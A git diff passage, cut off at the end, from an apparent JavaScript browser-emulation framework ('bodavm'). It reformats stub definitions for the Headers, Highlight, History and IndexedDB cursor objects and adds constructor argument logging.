bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('Headers', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Highlight.js b/env_xbb_lastest_jsdom/env/Highlight.js index ce3b060d..a36019cf 100644 --- a/env_xbb_lastest_jsdom/env/Highlight.js +++ b/env_xbb_lastest_jsdom/env/Highlight.js @@ -1,28 +1,106 @@ // Highlight对象 -bodavm.memory.globalobj['Highlight'] = function Highlight(){this._boarg= new bodaobj.window.Highlight();this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['Highlight'] = function Highlight() { + console.log_copy('Highlight 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Highlight(); + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Highlight'], "Highlight"); - -bodavm.toolsFunc.defineProperty('Highlight', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_get", arguments)}, set:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('Highlight', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_get", arguments); + }, + set: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HighlightRegistry.js b/env_xbb_lastest_jsdom/env/HighlightRegistry.js index e4776c8f..a52fc524 100644 --- a/env_xbb_lastest_jsdom/env/HighlightRegistry.js +++ b/env_xbb_lastest_jsdom/env/HighlightRegistry.js @@ -1,26 +1,97 @@ // HighlightRegistry对象 -bodavm.memory.globalobj['HighlightRegistry'] = function HighlightRegistry(){if (!(this instanceof HighlightRegistry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['HighlightRegistry'] = function HighlightRegistry() { + console.log_copy('HighlightRegistry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HighlightRegistry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HighlightRegistry'], "HighlightRegistry"); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('HighlightRegistry', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/History.js b/env_xbb_lastest_jsdom/env/History.js index c14e38f4..f323b463 100644 --- a/env_xbb_lastest_jsdom/env/History.js +++ b/env_xbb_lastest_jsdom/env/History.js @@ -1,16 +1,90 @@ -// History对象 -bodavm.memory.globalobj['History'] = function History(){if (!(this instanceof History)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['History'], "History"); -bodavm.toolsFunc.defineProperty('History', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('History', "scrollRestoration", {configurable:true, enumerable:true, get:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_get", arguments)}, set:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('History', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "back", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "forward", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "go", {configurable:true, enumerable:true, writable:true, value:function go (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "go", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "pushState", {configurable:true, enumerable:true, writable:true, value:function pushState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "pushState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "replaceState", {configurable:true, enumerable:true, writable:true, value:function replaceState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "replaceState", arguments)}},'prototype'); -// history对象 -bodavm.memory.globalobj['history'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['history'].__proto__=bodavm.memory.globalobj['History'].prototype; +// History对象 + +bodavm.memory.globalobj['History'] = function History() { + console.log_copy('History 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof History)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['History'], "History"); +bodavm.toolsFunc.defineProperty('History', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "scrollRestoration", { + configurable: true, + enumerable: true, + get: function scrollRestoration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_get", arguments); + }, + set: function scrollRestoration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "back", { + configurable: true, + enumerable: true, + writable: true, + value: function back() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "back", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "forward", { + configurable: true, + enumerable: true, + writable: true, + value: function forward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "forward", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "go", { + configurable: true, + enumerable: true, + writable: true, + value: function go() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "go", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "pushState", { + configurable: true, + enumerable: true, + writable: true, + value: function pushState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "pushState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "replaceState", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "replaceState", arguments); + } +}, 'prototype'); + +// history对象 + +bodavm.memory.globalobj['history'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['history'].__proto__ = bodavm.memory.globalobj['History'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBCursor.js b/env_xbb_lastest_jsdom/env/IDBCursor.js index 16095f5f..8168c8e9 100644 --- a/env_xbb_lastest_jsdom/env/IDBCursor.js +++ b/env_xbb_lastest_jsdom/env/IDBCursor.js @@ -1,26 +1,97 @@ // IDBCursor对象 -bodavm.memory.globalobj['IDBCursor'] = function IDBCursor(){if (!(this instanceof IDBCursor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['IDBCursor'] = function IDBCursor() { + console.log_copy('IDBCursor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBCursor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursor'], "IDBCursor"); - -bodavm.toolsFunc.defineProperty('IDBCursor', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "source_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "direction_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "key_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "primaryKey", {configurable:true, enumerable:true, get:function primaryKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "primaryKey_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "request", {configurable:true, enumerable:true, get:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "request_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "advance", {configurable:true, enumerable:true, writable:true, value:function advance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "advance", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "continue", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continue", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "continuePrimaryKey", {configurable:true, enumerable:true, writable:true, value:function continuePrimaryKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continuePrimaryKey", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "update", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('IDBCursor', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "primaryKey", { + configurable: true, + enumerable: true, + get: function primaryKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "primaryKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "request", { + configurable: true, + enumerable: true, + get: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "request_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "advance", { + configurable: true, + enumerable: true, + writable: true, + value: function advance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "advance", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "continue", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "continuePrimaryKey", { + configurable: true, + enumerable: true, + writable: true, + value: function continuePrimaryKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continuePrimaryKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "update", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBCursorWithValue.js b/env_xbb_lastest_jsdom/env/IDBCursorWithValue.js index 2116da23..0bf73e39 100644 --- a/env_xbb_lastest_jsdom/env/IDBCursorWithValue.js +++ b/env_xbb_lastest_jsdom/env/IDBCursorWithValue.js @@ -1,6 +1,27 @@ -// IDBCursorWithValue对象 -bodavm.memory.globalobj['IDBCursorWithValue'] = function IDBCursorWithValue(){if (!(this instanceof IDBCursorWithValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursorWithValue'], "IDBCursorWithValue"); -bodavm.memory.globalobj['IDBCursorWithValue'].prototype.__proto__=bodavm.memory.globalobj['IDBCursor'].prototype; -bodavm.memory.globalobj['IDBCursorWithValue'].__proto__=bodavm.memory.globalobj['IDBCursor']; -bodavm.toolsFunc.defineProperty('IDBCursorWithValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursorWithValue'].prototype, 